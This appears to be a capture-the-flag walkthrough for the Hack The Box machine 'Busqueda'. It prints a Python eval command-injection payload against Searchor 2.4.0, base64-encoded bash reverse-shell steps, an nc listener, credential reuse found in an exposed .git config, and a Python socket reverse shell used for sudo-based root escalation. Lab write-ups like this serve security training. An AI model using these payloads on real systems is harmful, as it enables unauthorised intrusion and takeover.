After having downloaded the Openvpn file connect to HTB, then spawn the Busqueda machine.
As soon as the Busqueda IP shows up, check the connection first by simply pinging Busqueda's ip from your machine's terminal.
Also, put Busqueda's IP in /etc/hosts file with searcher.htb as the hostname corresponding to it. This will help later while we try and access the web app if there's any.
Mapping The Web App:
Let us start with a simple Nmap scan:
-v switch is simply for verbosity so that the results are more with verbs and hence human readable.
I almost always like to use this switch as some Nmap scans can take quite some time, and seeing no results makes me impatient, -v switch shows you what's going on behind the scenes in real-time and I love it.
We discovered 2 open ports 22, and 80.
Let's dig deeper into these two by initiating another scan just for these 2 ports to discover the version of these.
Let's browse this Apache http and see what it shows : searcher.htb
( if you haven't already, put Busqueda's IP in /etc/hosts file with searcher.htb as the hostname corresponding to it, as mentioned in the beginning )
If you look closely, in the footer section, we see Searcher version.
Let's do a bit of research and see if it's something of interest or not..
If we read about the vulnerabilty, we find that there's improper implementation of eval(). The eval() function is called in main.py, in the web app, user inputs aren't sanitized and is directly passed to this function that lets user execute arbitrary code through the search function of the searcher.
Reference reads:
https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection
https://security.snyk.io/package/pip/searchor/2.4.0
https://github.com/nexis-nexis/Searchor-2.4.0-POC-Exploit-
Exploitation:
Let's check this on the web app:
')+ str(__import__('os').system('pwd'))#
When we click search, if the web app is vulnerable, it should return us a path of directory on which this app is running in the server:
And so it did. It returns us /var/www/app as the response of the command injected "pwd".
Let's see who's the user just for fun:
- svc is the account on the server.
Gaining a Shell:
Now that we confirmed the existence of vulnerability, let's use it to execute a command that gives a shell on the server.
Let's do this in Burp Suite, first, intercept the request that you make in Searcher and forward it to the repeater:
In Burp:
- The marked part is where we are going to place our reverse shell payload command. We are going to use the same payload as earlier but we'll replace pwd with a reverse shell code.
')+ str(__import__('os').system('pwd'))#
You can go to revshells.com to create a reverse shell payload to replace pwd with.
Put your attacker machine's IP and port that it is listening on:
In my case I'm listening on port 9001 and the ip that I got when I connected with OpenVPN file is 10.10.16.4. So that's what my payload contains:
nc -lvnp 9001
Now right-click the selected part and select Convert Selection --> base64 url --> base64 url encode, to encode this payload.
It should look like this:
Now use the pipe operator and add bash -d, then use another pipe operator and then append bash to this payload, as shown:
This will decode the reverse shell payload once it reaches the server, and then execute it using bash shell.
Also, add echo at the beginning of the base64 encoded payload:
Now we are ready to send this request, but before you do that make sure you're listening on the port that you mentioned in your payload:
We see that we are able to make the command reach back to our shell, but the shell connection wasn't established.
Let's try again by altering the request to use bash instead of sh shell:
Now again base64 encode the part after echo and before the first pipe operator | :
Now copy the entire string after query= and post it in the searcher search index again:
Before clicking search, again, make sure that you are listening on the port that you used in the payload, in my case I'm listening on 9001.
And now let's click on search, hopefully, this should give us a shell on the machine:
And guess what it did..
Yay! we got a shell.
Retrieving User Flag:
Before you proceed into reading this further, I'd suggest that you try and find the user flag on your as you already have a shell now, it wouldn't be difficult at all.
Now let's see, as I told you it is too damn easy once you have a shell to retrieve the user's flag. So is showing in the screenshot below:
We are done till the user flag. Let's move towards the root flag now.
Retrieving the Root Flag:
It's pretty self-explanatory that to retrieve the Root flag, we'll have to have root privileges. That means we'll now be doing privilege escalation.
Optional - Just for FYI:
The following .git directory part is optional but is there to make you aware of this process:
I think that the .git directory is a great find, so I like to download the entire directory on my local system and maybe inspect it thoroughly, go through the web app's previous version, to maybe end up finding sensitive information.
So check if Python is on the remote system ( that I have the shell on ). It turns it has, so host a simple python3 server in the app's directory:
Now if you visit the url: machine'sIp:8000 ( 10.10.11.208:8000 ) on your system we get:
.git/ directory contents:
Copy the url and open a terminal on your system:
wget -r -np -nH --cut-dirs=3 -R index.html http://10.10.11.208:8000/.git/
The command will download the .git directory with all the contents within it recursively.
Alternatively, you can use .git extension:
Now host a simple python server on the directory /var/www/app :
Now visit the Url from your machine:
- The extension will prompt you that the .git directory is exposed. Just click on it and download it.
Now you can do a full inspection of this .git directory and go crazy with it.
You can use tools like GitKraken.
But we'll come back to a straight and simple process as I have to finish writing this write-up.
The .git directory part was optional. Now coming back to the Priv. escalation:
But .git is where the juice is and to access that, we can just use the shell that we have to inspect the directory's file like config and etc:
We see a string what appears to be a key after cody:.
Let's try that on ssh as we know that ssh is open, through the nmap scan.
Using the key:
We managed to get ssh into the system:
Privilege Escalation:
Let's first check what svc user is allowed to run on the system using the sudo -l command:
Note: The -l option with sudo lists the commands that the user is allowed or forbidden to run. It retrieves this info using the sudoers file.
- We see that we can run a Python script named system-checkup.py with the privilege of root. BINGO!!.
Unfortunately, we can't just read or modify this script as we don't have enough privilege.
But no worries, the script takes an argument script which is * in the screenshot above.
Optional read:
we'll go back to the home directory and there we'll create the script which will be passed as an argument in place of *.
User revshells.com to create the reverse shell payload or other preferred option:
or
import socket,os,pty;s=socket.socket();s.connect(("<local-ip>",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")
As we know this demands making the script executable, but we can't do that as we don't have root privilege and neither can use sudo with chmod.
So we'll create the script on our local machine, then fetch it using wget and python simple server.
Now our system is serving, let's wget the full-checkup.sh file in the busqueda:
Now let's see if it allows us to make it executable or not:
- It did, now full-checkup.sh is executable. Phew finally!!
Now open a listener at the port that you created the scirpt with, I did on the 4444 port, so I'm going to listen on that:
Now let's execute it:
- If we check the listener, we'll see that we've a shell with root as the user.
- And we got the root flag as well.
Yay! We did it.
See ya later. Till then peace.
